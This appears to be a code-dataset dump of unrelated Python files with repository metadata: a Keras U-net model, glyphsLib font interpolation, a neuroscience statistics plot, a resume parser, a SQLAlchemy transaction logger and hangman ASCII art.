io_conv_2D(up4, n_filters_initial*(2**1), kernel_size) conv4 = io_conv_2D(conv4, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre5 = io_conv_2D_transp(conv4, n_filters_initial*(2**0), (2,2), (2,2)) up5 = io_concat_pad(pre5, conv39, 3) conv5 = io_conv_2D(up5, n_filters_initial*(2**0), kernel_size) conv5 = io_conv_2D(conv5, n_filters_initial*(2**0), kernel_size) # output of mini U-net conv6 = io_conv_2D(conv5, 3, 1) conv6 = Lambda(lambda x: x * 0.5)(conv6) ######################################################################################################################## # average the output of three U-nets conv10 = keras.layers.Average()([conv6, conv28, conv30]) # construct model model = Model(inputs=[conv0], outputs=[conv10]) # Print info about model model.summary() # Set training parameters model.compile(loss='mean_squared_error', optimizer=optimizers.Adam(lr=learning_rate), metrics=['mean_squared_error']) # Train network train_model = model.fit(train_im, train_sol, batch_size=batch_size, epochs=n_epochs, validation_data=(valid_im, valid_sol)) return(model, train_model) ### ************************************************ ### Parallel U-nets def Parallel_U_net(train_im, train_sol, valid_im, valid_sol, test_im, n_filters_initial, kernel_size, kernel_size_2, kernel_transpose_size, pool_size, stride_size, learning_rate, batch_size, n_epochs, height, width, n_channels): # Generate inputs conv0 = Input((height,width,n_channels)) # 2 convolutions + maxPool conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size) conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size) pool1 = io_maxp_2D(conv1, pool_size) # 2 convolutions + maxPool conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size) conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size) pool2 = io_maxp_2D(conv2, pool_size) # 2 convolutions + maxPool conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size) conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size) pool3 = io_maxp_2D(conv3, pool_size) # 2 convolutions + maxPool conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size) conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size) pool4 = io_maxp_2D(conv4, pool_size) # 2 convolutions conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size) conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2)) up6 = io_concat_pad(pre6, conv4, 3) conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size) conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2)) up7 = io_concat_pad(pre7, conv3, 3) conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size) conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2)) up8 = io_concat_pad(pre8, conv2, 3) conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size) conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size) # 1 transpose convolution and concat + 2 convolutions pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2)) up9 = io_concat_pad(pre9, conv1, 3) conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size) conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size) # final 1x1 convolution conv10 = io_conv_2D(conv9, 3, 1) #conv10 = keras.layers.Add()([conv0, conv10]) ##### the output of 1-st U-net # 2 convolutions + maxPool conv21 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size_2) conv21 = io_conv_2D(conv21, n_filters_initial*(2**0), kernel_size_2) pool21 = io_maxp_2D(conv21, pool_size) # 2 convolutions + maxPool conv22 = io_conv_2D(pool21, n_filters_initial*(2**1), kernel_size_2) conv22 = io_conv_2D(conv22, n_filters_initial*(2**1), kernel_size_2) pool22 = io_maxp_2D(conv22, pool_size) # 2 convolutions + maxPool conv23 = io_conv_2D(pool22, n_filters_initial*(2**2), kernel_size_2) conv23 = io_conv_2D(conv23, n_filters_initial*(2**2), kernel_size_2) pool23 = io_maxp_2D(conv23, pool_size) # 2 convolutions + maxPool conv24 = io_conv_2D(pool23, n_filters_initial*(2**3), kernel_size_2) conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size_2) pool24 = io_maxp_2D(conv24, pool_size) # 2 convolutions conv25 = io_conv_2D(pool24, n_filters_initial*(2**4), kernel_size_2) conv25 = io_conv_2D(conv25, n_filters_initial*(2**4), kernel_size_2) # 1 transpose convolution and concat + 2 convolutions pre26 = io_conv_2D_transp(conv25, n_filters_initial*(2**3), (2,2), (2,2)) up26 = io_concat_pad(pre26, conv24, 3) conv26 = io_conv_2D(up26, n_filters_initial*(2**3), kernel_size_2) conv26 = io_conv_2D(conv26, n_filters_initial*(2**3), kernel_size_2) pre27 = io_conv_2D_transp(conv26, n_filters_initial*(2**2), (2,2), (2,2)) up27 = io_concat_pad(pre27, conv23, 3) conv27 = io_conv_2D(up27, n_filters_initial*(2**2), kernel_size_2) conv27 = io_conv_2D(conv27, n_filters_initial*(2**2), kernel_size_2) pre28 = io_conv_2D_transp(conv27, n_filters_initial*(2**1), (2,2), (2,2)) up28 = io_concat_pad(pre28, conv22, 3) conv28 = io_conv_2D(up28, n_filters_initial*(2**1), kernel_size_2) conv28 = io_conv_2D(conv28, n_filters_initial*(2**1), kernel_size_2) # 1 transpose convolution and concat + 2 convolutions pre29 = io_conv_2D_transp(conv28, n_filters_initial*(2**0), (2,2), (2,2)) up29 = io_concat_pad(pre29, conv21, 3) conv29 = io_conv_2D(up29, n_filters_initial*(2**0), kernel_size_2) conv29 = io_conv_2D(conv29, n_filters_initial*(2**0), kernel_size_2) # final 1x1 convolution conv20 = io_conv_2D(conv29, 3, 1) conv30 = keras.layers.Average()([conv10, conv20]) # construct model model = Model(inputs=[conv0], outputs=[conv30]) # Print info about model model.summary() # Set training parameters model.compile(loss='mean_squared_error', optimizer=optimizers.Adam(lr=learning_rate), metrics=['mean_squared_error']) # Train network train_model = model.fit(train_im, train_sol, batch_size=batch_size, epochs=n_epochs, validation_data=(valid_im, valid_sol)) return(model, train_model)

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124

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0.092433

0.172744

0.916375

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1

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null

0

8

2b3e41b019fe6b2d3864d763d679862e197cea39

7,447

py

Python

Lib/glyphsLib/interpolation.py

anthrotype/glyphsLib

ab98c4ae3981aec72ae70a053c3efb0ca2dd6b93

[ "Apache-2.0" ]

null

Lib/glyphsLib/interpolation.py

anthrotype/glyphsLib

ab98c4ae3981aec72ae70a053c3efb0ca2dd6b93

[ "Apache-2.0" ]

null

Lib/glyphsLib/interpolation.py

anthrotype/glyphsLib

ab98c4ae3981aec72ae70a053c3efb0ca2dd6b93

[ "Apache-2.0" ]

null

# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import (print_function, division, absolute_import, unicode_literals) import logging import os from glyphsLib.builder import set_redundant_data, set_custom_params,\ set_default_params, GLYPHS_PREFIX from glyphsLib.util import build_ufo_path, write_ufo, clean_ufo, clear_data __all__ = [ 'interpolate', 'build_designspace', 'apply_instance_data' ] logger = logging.getLogger(__name__) DEFAULT_LOC = 100 def interpolate(ufos, master_dir, out_dir, instance_data, debug=False): """Create MutatorMath designspace and generate instances. Returns instance UFOs, or unused instance data if debug is True. """ from mutatorMath.ufo import build designspace_path, instance_files = build_designspace( ufos, master_dir, out_dir, instance_data) logger.info('Building instances') for path, _ in instance_files: clean_ufo(path) build(designspace_path, outputUFOFormatVersion=3) instance_ufos = apply_instance_data(instance_files) if debug: return clear_data(instance_data) return instance_ufos def build_designspace(masters, master_dir, out_dir, instance_data): """Just create MutatorMath designspace without generating instances. Returns the path of the resulting designspace document and a list of (instance_path, instance_data) tuples which map instance UFO filenames to Glyphs data for that instance. """ from mutatorMath.ufo.document import DesignSpaceDocumentWriter for font in masters: write_ufo(font, master_dir) # needed so that added masters and instances have correct relative paths tmp_path = os.path.join(master_dir, 'tmp.designspace') writer = DesignSpaceDocumentWriter(tmp_path) base_family, base_style = add_masters_to_writer(writer, masters) instance_files = add_instances_to_writer( writer, base_family, instance_data, out_dir) basename = '%s%s.designspace' % ( base_family, ('-' + base_style) if base_style else '') writer.path = os.path.join(master_dir, basename.replace(' ', '')) writer.save() return writer.path, instance_files def add_masters_to_writer(writer, ufos): """Add master UFOs to a MutatorMath document writer. Returns the masters' family name and shared style names. These are used for naming instances and the designspace path. """ master_data = [] base_family = None base_style = None # only write dimension elements if defined in at least one of the masters dimension_names = [] for s in ('weight', 'width', 'custom'): key = GLYPHS_PREFIX + s + 'Value' if any(key in font.lib for font in ufos): dimension_names.append(s) for font in ufos: family, style = font.info.familyName, font.info.styleName if base_family is None: base_family = family else: assert family == base_family, 'Masters must all have same family' if base_style is None: base_style = style.split() else: base_style = [s for s in style.split() if s in base_style] master_data.append((font.path, family, style, { s: font.lib.get(GLYPHS_PREFIX + s + 'Value', DEFAULT_LOC) for s in dimension_names})) # pick a master to copy info, features, and groups from, trying to find the # master with a base style shared between all masters (or just Regular) and # defaulting to the first master if nothing is found base_style = ' '.join(base_style) info_source = 0 for i, (path, family, style, location) in enumerate(master_data): if family == base_family and style == (base_style or 'Regular'): info_source = i break for i, (path, family, style, location) in enumerate(master_data): is_base = (i == info_source) writer.addSource( path=path, name='%s %s' % (family, style), familyName=family, styleName=style, location=location, copyFeatures=is_base, copyGroups=is_base, copyInfo=is_base, copyLib=is_base) return base_family, base_style def add_instances_to_writer(writer, family_name, instance_data, out_dir): """Add instances from Glyphs data to a MutatorMath document writer. Returns a list of <ufo_path, font_data> pairs, corresponding to the instances which will be output by the document writer. The font data is the Glyphs data for this instance as a dict. """ default_family_name = instance_data.pop('defaultFamilyName') instance_data = instance_data.pop('data') ofiles = [] # only write dimension elements if defined in at least one of the instances dimension_names = [] for s in ('weight', 'width', 'custom'): key = 'interpolation' + s.title() if any(key in instance for instance in instance_data): dimension_names.append(s) for instance in instance_data: # Glyphs.app recognizes both "exports=0" and "active=0" as a flag # to mark instances as inactive. Those should not be instantiated. # https://github.com/googlei18n/glyphsLib/issues/129 if (not int(instance.pop('exports', 1)) or not int(instance.pop('active', 1))): continue instance_family = default_family_name custom_params = instance.get('customParameters', ()) for i in range(len(custom_params)): if custom_params[i]['name'] == 'familyName': instance_family = custom_params[i]['value'] break if not instance_family: continue style_name = instance.pop('name') ufo_path = build_ufo_path(out_dir, instance_family, style_name) ofiles.append((ufo_path, instance)) writer.startInstance( name=' '.join((instance_family, style_name)), location={ s: instance.pop('interpolation' + s.title(), DEFAULT_LOC) for s in dimension_names}, familyName=instance_family, styleName=style_name, fileName=ufo_path) writer.writeInfo() writer.writeKerning() writer.endInstance() return ofiles def apply_instance_data(instance_data): """Open instances, apply data, and re-save. Args: instance_data: List of (path, data) tuples, one for each instance. dst_ufo_list: List to add opened instances to. Returns: List of opened and updated instance UFOs. """ from defcon import Font instance_ufos = [] for path, data in instance_data: ufo = Font(path) set_custom_params(ufo, data=data) set_default_params(ufo) set_redundant_data(ufo) ufo.save() instance_ufos.append(ufo) return instance_ufos

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0.008264

0

null

0

null

0

1

0

2b3fd90b08b658e73198cb9b547400cb33e29f70

10,934

py

Python

code/analysis/plot_group_statistics.py

INM-6/reproducing-polychronization

fbce7040450a92996ef64bb081558ea02f6a72da

[ "MIT" ]

2

2019-09-05T13:26:55.000Z

2019-11-27T17:23:13.000Z

code/analysis/plot_group_statistics.py

INM-6/reproducing-polychronization

fbce7040450a92996ef64bb081558ea02f6a72da

[ "MIT" ]

null

code/analysis/plot_group_statistics.py

INM-6/reproducing-polychronization

fbce7040450a92996ef64bb081558ea02f6a72da

[ "MIT" ]

3

2018-09-20T13:03:05.000Z

2021-12-09T09:31:07.000Z

import argparse import numpy as np import os import sys import matplotlib matplotlib.use('Agg') import json import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec import mpl_toolkits.axes_grid.inset_locator import helper as hf import plot_helper as phf import seaborn as sns import scipy.stats as stat from matplotlib import mlab import pandas as pd # sns.set_palette(sns.light_palette("blue")) parser = argparse.ArgumentParser() parser.add_argument("-glo", '--groupstatlist_original', help="list of group stat files", nargs="+") parser.add_argument("-glp", '--groupstatlist_python', help="list of group stat files", nargs="+") parser.add_argument('--output', type=str) args = parser.parse_args() def return_val(stats): if 'Failed' in stats.keys(): ngr='Failed' elif 'Failed' not in stats.keys(): ngr = len(stats['N_fired']) else: ngr = np.nan return ngr exp,reps=[],[] ngr_o=[] ngr_p=[] rate_exc=[] rate_inh=[] spek_peak=[] experiments=[i.split('/')[2] for i in args.groupstatlist_original]+[i.split('/')[2] for i in args.groupstatlist_python] for experiment in np.unique(experiments): repetitions = [i.split('/')[3] for i in args.groupstatlist_original if i.split('/')[2]==experiment] + \ [i.split('/')[3] for i in args.groupstatlist_python if i.split('/')[2]==experiment] repetitions=np.sort(np.unique(repetitions)) for repetition in repetitions: print(repetition,experiment) file_p='data/NEST_model/{e}/{r}/stats.json'.format(e=experiment,r=repetition) if os.path.isfile(file_p): with open(file_p, "r") as f_p: stats_p = json.load(f_p) ngr_p_ = return_val(stats_p) else: ngr_p_=np.nan #print(stats_p) file_o='data/NEST_model/{e}/{r}/stats_orig.json'.format(e=experiment,r=repetition ) #print(file) if os.path.isfile(file_o): with open(file_o, "r") as f_o: stats_o = json.load(f_o) ngr_o_ = return_val(stats_o) else: ngr_o_ = np.nan spk_fl = 'data/NEST_model/{e}/{r}/spikes-1001.gdf'.format(e=experiment,r=repetition ) data = np.loadtxt(spk_fl) senders, times = data[:, 0], data[:, 1] mean_ex, mean_inh, max_freq = phf.get_rates(times, senders) if max_freq<50: spek_peak.append('low') else: spek_peak.append('high') ngr_o.append(ngr_o_) ngr_p.append(ngr_p_) exp.append(experiment.replace('_',' ')) reps.append(repetition) rate_exc.append(mean_ex) rate_inh.append(mean_inh) df=pd.DataFrame({'Number of groups':ngr_o, 'Number of groups (nest)':ngr_p, 'Experiment':exp, 'reps':reps, 'exc_rate':rate_exc, 'inh_rate': rate_inh, 'spektral peak':spek_peak }) def iqr(df): return df.quantile(.75)-df.quantile(.25) df_latex=df.replace(value=np.nan,to_replace='Failed').groupby(['Experiment'])['Number of groups', 'Number of groups (nest)','exc_rate','inh_rate','spektral peak'].agg([np.median,iqr,'min','max','count']) #.agg([np.median,iqr]) print(df_latex.to_latex()) print(df_latex) df_latex_spek=df.replace(value=np.nan,to_replace='Failed').groupby(['Experiment','spektral peak'])['Number of groups', 'Number of groups (nest)','exc_rate','inh_rate','spektral peak'].agg([np.median,iqr,'min','max','count']) #.agg([np.median,iqr]) print(df_latex_spek.to_latex()) print(df_latex_spek) phf.latexify(fig_height=6., columns=1) fig = plt.figure() N = 9 N_bot = 5 M = 4 gs0 = gridspec.GridSpec(N, M) ax_orig = plt.subplot(gs0[:N_bot, :M - 1]) ax_nest = plt.subplot(gs0[N_bot:, 0:M - 1]) ax_orig_broken = fig.add_subplot(gs0[:N_bot, M - 1]) # , sharey=ax_orig) ax_nest_broken = fig.add_subplot(gs0[N_bot:, M - 1]) # , sharey=ax_nest) orig_pal = ['C2', 'C1', 'C0', 'C5', 'C4', 'C4', 'C4', 'C4', 'C4', 'C4', 'C4'] orig_exp_order = ['initial reproduction', 'bitwise reproduction', 'qualitative model', 'poisson stimulus', 'stdp window match', 'const add value 0p0', 'synapse update interval 0p1s', 'synapse update interval 10s', 'time driven additive 1s', 'tau syn update interval 2s', 'tau syn update interval 1000s'] orig_names = ['Initial model', 'Bitwise reproduction', 'Qualitative model', 'Poisson stimulus', 'STDP window match', 'No additive factor', 'Buffer length $0.1\;\mathrm{s}$', 'Buffer length $10\;\mathrm{s}$', 'No elig. trace', 'Elig. trace $2\;\mathrm{s}$', 'Elig. trace $1000\;\mathrm{s}$', ] width = 1.25 ax_orig = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'), y='Experiment', x='Number of groups', order=orig_exp_order, palette=orig_pal, fliersize=0, ax=ax_orig, linewidth=width, width=0.6) ax_orig_broken = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'), y='Experiment', x='Number of groups', order=orig_exp_order, palette=orig_pal, fliersize=0, ax=ax_orig_broken, linewidth=width, width=0.6) ax_orig.set_yticklabels(orig_names) nest_pal = ['C1', 'C0', 'C3', 'C3', 'C3', 'C3','C4', 'C4'] nest_exp_order = ['bitwise reproduction', 'qualitative model', 'delay distribution 20', 'delay distribution 15', 'delay distribution 10', 'delay distribution 5', 'resolution 0p1 W pspmatched', 'qualitative model high res', ] name_order = ['Bitwise reproduction', 'Qualitative model', r'Delay $\in \left[1,20\right]\;\mathrm{ms}$', r'Delay $\in \left[1,15\right]\;\mathrm{ms}$', r'Delay $\in \left[1,10\right]\;\mathrm{ms}$', r'Delay $\in \left[1,5\right]\;\mathrm{ms}$', r'Resolution $0.1\;\mathrm{ms}$', r'Improved integration', ] ax_nest = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'), y='Experiment', x='Number of groups (nest)', order=nest_exp_order, palette=nest_pal, fliersize=0, ax=ax_nest, linewidth=width, width=0.5) ax_nest_broken = sns.boxplot(data=df.replace(value=np.nan,to_replace='Failed'), y='Experiment', x='Number of groups (nest)', order=nest_exp_order, palette=nest_pal, fliersize=0, ax=ax_nest_broken, linewidth=width, width=0.6) print(ax_nest.get_yticks()) ax_nest.set_yticklabels(name_order) for ax in [ax_orig_broken, ax_nest_broken]: # ax.axis('off') # if ax !=ax_delay: # ax.set_xscale('log') ax.spines['top'].set_visible(False) ax.spines['right'].set_visible(False) ax.spines['left'].set_visible(False) ax.set_yticks(()) ax.set_ylabel('') ax_orig_broken.set_xlabel('') ax_nest_broken.set_xlabel('') ax_orig_broken.set_xlim((6000, 70000)) ax_orig_broken.set_xticks((10000, 70000)) ax_orig_broken.set_xticklabels(('10k', '70k')) ax_nest_broken.set_xlim((10000, 40000)) ax_nest_broken.set_xticks((20000, 40000)) ax_nest_broken.set_xticklabels(('20k', '40k')) ax_orig.set_xlim((-500, 6000)) ax_orig.set_xticks((0, 2500, 5000)) ax_nest.set_xlim((-500, 8500)) for ax in [ax_orig, ax_nest]: # ax.axis('off') # if ax !=ax_delay: # ax.set_xscale('log') ax.spines['top'].set_visible(False) ax.spines['right'].set_visible(False) # ax.set_yticks(()) # if ax !=ax_delay: # ax.set_xticks(()) # ax.set_xlabel('') # ax.spines['bottom'].set_visible(False) # ax_orig.set_ylabel('original group finding algorithm') # ax_nest.set_ylabel('NEST group finding algorithm') ax_orig.set_ylabel('') ax_nest.set_ylabel('') ax_orig.set_xlabel('Number of groups') ax_nest.set_xlabel('Number of groups (Python)') # iqr=df.loc[df['Experiment']=='qualitative model','Number of Groups'].quantile(0.75)-df.loc[df['Experiment']=='qualitative model','Number of Groups'].quantile(0.25) min_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups'].quantile(0.25) # -1.5*iqr max_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups'].quantile(0.75) # +1.5*iqr min_line ax_orig.axvline(min_line, zorder=0, linestyle='--', color='C1') ax_orig.axvline(max_line, zorder=0, linestyle='--', color='C1') min_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups (nest)'].quantile(0.25) max_line = df.loc[df['Experiment'] == 'bitwise reproduction', 'Number of groups (nest)'].quantile(0.75) min_line ax_nest.axvline(min_line, zorder=0, linestyle='--', color='C1') ax_nest.axvline(max_line, zorder=0, linestyle='--', color='C1') ax_orig.annotate(r'\textbf{A}', xy=(-0.95, 1.05), xycoords='axes fraction', horizontalalignment='left', verticalalignment='top', annotation_clip=False) ax_nest.annotate(r'\textbf{B}', xy=(-0.95, 1.06), xycoords='axes fraction', horizontalalignment='left', verticalalignment='top', annotation_clip=False) xy = (0, ax_nest.get_yticks()[-1]) #ax_nest.annotate(xy=xy, xytext=xy, s=r'\textbf{X}', ha='center', va='center') # xy=(ax_orig_broken.get_xticks()[-1],ax_orig.get_yticks()[-1]) # ax_orig_broken.annotate(xy=xy,xytext=xy,s=r'$\rip$',ha='center',va='center',fontsize=20) # xy=(ax_orig_broken.get_xticks()[-1],ax_orig.get_yticks()[-1]) # ax_orig_broken.annotate(xy=xy,xytext=xy,s=r'$\rip$',ha='center',va='center',fontsize=20) xy = (ax_orig_broken.get_xticks()[-1], ax_orig.get_yticks()[-4]) ax_orig_broken.annotate(xy=xy, xytext=xy, s=r'$\rip$', ha='center', va='center', fontsize=20) # xy=(ax_orig_broken.get_xticks()[-1],ax_orig.get_yticks()[-4]) # ax_orig_broken.annotate(xy=xy,xytext=xy,s=r'$\rip$',ha='center',va='center',fontsize=20) gs0.update(left=0.4, right=0.95, top=0.97, bottom=0.07, hspace=1.99, wspace=0.35) plt.savefig(args.output)

36.691275

247

0.587525

1,479

10,934

4.161596

0.194726

0.033144

0.040942

0.020471

0.549472

0.48026

0.438993

0.426645

0.380829

0.347035

0

0.03156

0.252332

10,934

298

248

36.691275

0.721346

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0

null

0

null

0

1

0

2b3fdcb67a067b54f957d1bd2d0f7f8ff8e0d97e

4,306

py

Python

api-back/extract_resume.py

Bitseat/demo

e5a12d975ef8162e89eaa3e67aaa0967e4c24d75

[ "MIT" ]

null

api-back/extract_resume.py

Bitseat/demo

e5a12d975ef8162e89eaa3e67aaa0967e4c24d75

[ "MIT" ]

1

2020-08-11T15:40:02.000Z

api-back/extract_resume.py

Bitseat/demo

e5a12d975ef8162e89eaa3e67aaa0967e4c24d75

[ "MIT" ]

null

# importing all required libraries import os import traceback # importing libraries for computer vision import numpy as np import cv2 import imutils from imutils import contours from imutils.perspective import four_point_transform from skimage.filters import threshold_local # importing libraries to read text from image from PIL import Image import pytesseract import re import json from docx2pdf import convert from pyresparser import ResumeParser import image_text_extractor from image_text_extractor import image_extract import subprocess from os import rename import shutil import time def main(): # import resumes from directory directory = 'resumes/' directory3 = 'pdfs/' dir_list = os.listdir(directory) dir_list.sort(key=lambda f: os.path.splitext(f)[1], reverse = True) for filename in dir_list: if filename.endswith(".pdf"): full_path = os.path.join(directory, filename) extract_info(full_path) elif filename.endswith(".docx"): full_path = os.path.join(directory, filename) out = subprocess.Popen(['unoconv', str(full_path)], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) stdout,stderr = out.communicate() time.sleep(5) target_path = os.path.join(os.path.dirname(__file__), str(full_path[:-5]) + ".pdf") m = str(target_path).replace('resumes/','pdfs/') shutil.move(str(target_path), os.path.join(directory3, str(m))) time.sleep(5) #new_path = str(target_path[:-4]) + ".docx" + ".pdf" #rename(target_path, new_path) extract_info(full_path) elif filename.endswith(".jpg"): full_path = os.path.join(directory, filename) x = image_extract() out = subprocess.Popen(['unoconv', str(full_path)], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) stdout,stderr = out.communicate() time.sleep(5) target_path = os.path.join(os.path.dirname(__file__), str(x) + ".pdf") file_name = str(full_path[:-4]) + ".pdf" n = file_name.replace('resumes/','') shutil.move(os.path.join(directory, str(n)), os.path.join(directory3, str(n))) time.sleep(5) extract_info(x) else: pass def extract_info(full_path): directory = 'resumes/' directory2 = 'jsons/' directory3 = 'pdfs/' data = {} with open(full_path, 'r') as f: #print(full_path) data = ResumeParser(full_path).get_extracted_data() time.sleep(5) z = full_path.replace('resumes/','') json_file_name = str(directory2) + str(z) + ".json" clean_data = re.sub('\u2013', '', str(data)) clean_data = re.sub('\uf0b7', '', clean_data) clean_data = re.sub('\u200b', '', clean_data) clean_data = re.sub(r'\\uf0b7', '', clean_data) clean_data = re.sub(r'[^\x00-\x7F]+|\x0c',' ', clean_data) clean_data = re.sub(r"'", '"', clean_data) clean_data = re.sub(r'None', 'null', clean_data) clean_data = json.loads(clean_data.replace("\'", '"')) jpg_file_name = str(directory2) + str(z[:-5]) + ".json" pdf_file_name = str(full_path[:-9]) + ".pdf" l = pdf_file_name.replace('resumes/','') word_file_name = str(full_path[:-5]) + ".pdf" m = word_file_name.replace('resumes/','') if full_path.endswith(".jpg.docx"): with open(jpg_file_name, 'w') as outfile: json.dump(clean_data, outfile) #shutil.move(str(pdf_file_name), os.path.join(directory3, str(l))) os.remove(full_path) os.remove(str(full_path[:-5])) elif full_path.endswith(".pdf"): with open(json_file_name, 'w') as outfile: json.dump(clean_data, outfile) shutil.move(os.path.join(directory, str(z)), os.path.join(directory3, str(z))) time.sleep(5) else: with open(json_file_name, 'w') as outfile: json.dump(clean_data, outfile) os.remove(full_path) if __name__ == '__main__': main()

30.323944

114

0.594055

537

4,306

4.571695

0.22905

0.068432

0.044807

0.039919

0.446029

0.39389

0.343788

0.194705

0

0.012751

0.271482

4,306

141

115

30.539007

0.769844

0.071296

0

0.304348

0

0.05423

0

1

0.021739

false

0.01087

0.217391

0

0.23913

0

null

0

null

0

1

0

2b421ace835f65630586818249ab3197ef13ff58

1,991

py

Python

week12_telegram_bots/Peter Sergeev Homework/mysubstratedb.py

pserg1/msai-python

57908933d0af0614a9c7f5c6dcdcc1b46abb2184

[ "MIT" ]

null

week12_telegram_bots/Peter Sergeev Homework/mysubstratedb.py

pserg1/msai-python

57908933d0af0614a9c7f5c6dcdcc1b46abb2184

[ "MIT" ]

null

week12_telegram_bots/Peter Sergeev Homework/mysubstratedb.py

pserg1/msai-python

57908933d0af0614a9c7f5c6dcdcc1b46abb2184

[ "MIT" ]

null

import sqlalchemy import pyodbc from sqlalchemy import create_engine from sqlalchemy import Column, Integer, String, DateTime, Float from sqlalchemy.sql import func from sqlalchemy.ext.declarative import declarative_base from sqlalchemy_utils import database_exists, create_database from sqlalchemy.orm import sessionmaker, Session CONNECTION_STR = "mssql+pyodbc://user:password@127.0.0.1/testDB?driver=SQL+Server" # create db Base = declarative_base() class Transaction(Base): __tablename__ = 'Transactions' id = Column(Integer, primary_key=True) fromAddr = Column(String) Destination = Column(String) Amount = Column(Float) Module = Column(String) Method = Column(String) created_at = Column(DateTime(timezone=True), server_default=func.now()) def __repr__(self): str = f"Transaction(fromAddr='{self.fromAddr}', Destination='{self.Destination}',\ Amount='{self.Amount}', Module='{self.Module}, Method={self.Method}, 'created_at={self.created_at}')" return str # write data to db def writeData(data): engine = create_engine(CONNECTION_STR) if not database_exists(engine.url): create_database(engine.url) Session = sessionmaker(engine) session = Session() new_trx = Transaction( fromAddr = data['Signature'], Destination = data['Dest'], Amount = data['Amount'], Module = data['Pallet'], Method = data['Call'], ) session.add(new_trx) print(f'\nExecuting add query:\n', new_trx) session.commit() # some testing + table creation ''' trx = Transaction(fromAddr=1, Destination=2011, Amount=1000000, Module='Balances', Method='Transfer') engine = create_engine(CONNECTION_STR) if not database_exists(engine.url): create_database(engine.url) Base.metadata.create_all(engine) Session = sessionmaker(engine) with Session.begin() as session: session.add(trx) trxs = session.query(Transaction).all() print(trxs) '''

28.855072

115

0.705173

239

1,991

5.740586

0.376569

0.061224

0.029155

0.040816

0.119534

0

0.010962

0.175289

1,991

68

116

29.279412

0.824604

0.028127

0

0.051282

0.13737

0.054688

0

1

0.051282

false

0.025641

0.205128

0

0.512821

0.025641

0

null

0

null

0

1

0

2b42e860d0ae1b98081e8bfa9a5444fe0146b12b

943

py

Python

hangman/hangman_art.py

EdwinZurawik/hangman

6b865e40bab2a35b71731b3f9bee254ac1d992be

[ "MIT" ]

null

hangman/hangman_art.py

EdwinZurawik/hangman

6b865e40bab2a35b71731b3f9bee254ac1d992be

[ "MIT" ]

null

hangman/hangman_art.py

EdwinZurawik/hangman

6b865e40bab2a35b71731b3f9bee254ac1d992be

[ "MIT" ]

null

hangman_title = r""" ____ ____ ____ ____ ____ ____ ____ ||H ||||a ||||n ||||g ||||m ||||a ||||n || ||__||||__||||__||||__||||__||||__||||__|| |/__\||/__\||/__\||/__\||/__\||/__\||/__\| """ hangman_stages = [r""" ____ |/ | | | | | ===== """, r""" ____ |/ | | O | | | ===== """, r""" ____ |/ | | O | | | | ===== """, r""" ____ |/ | | O | /| | | ===== """, r""" ____ |/ | | O | /|\ | | ===== """, r""" ____ |/ | | O | /|\ | / | ===== """, r""" ____ |/ | | O | /|\ | / \ | ===== """]

16.839286

52

0.139979

25

943

1.84

0.4

0.26087

0.326087

0.434783

0.26087

0

0.604454

943

55

53

17.145455

0.123324

0

0.545455

0

0.888653

0.089077

0

1

0

false

0

1

0

1

null

1

0

1

0

1

0

1

0

null

0

8

2b43532c39ab8e6417a57dfd057de5791661d19d

7,572

py

Python

lldb_commands/generate_new_script.py

lanza/ds-lldb

fdab1addb05c571460ad31b3256688a223a5022a

[ "MIT" ]

null

lldb_commands/generate_new_script.py

lanza/ds-lldb

fdab1addb05c571460ad31b3256688a223a5022a

[ "MIT" ]

null

lldb_commands/generate_new_script.py

lanza/ds-lldb

fdab1addb05c571460ad31b3256688a223a5022a

[ "MIT" ]

null

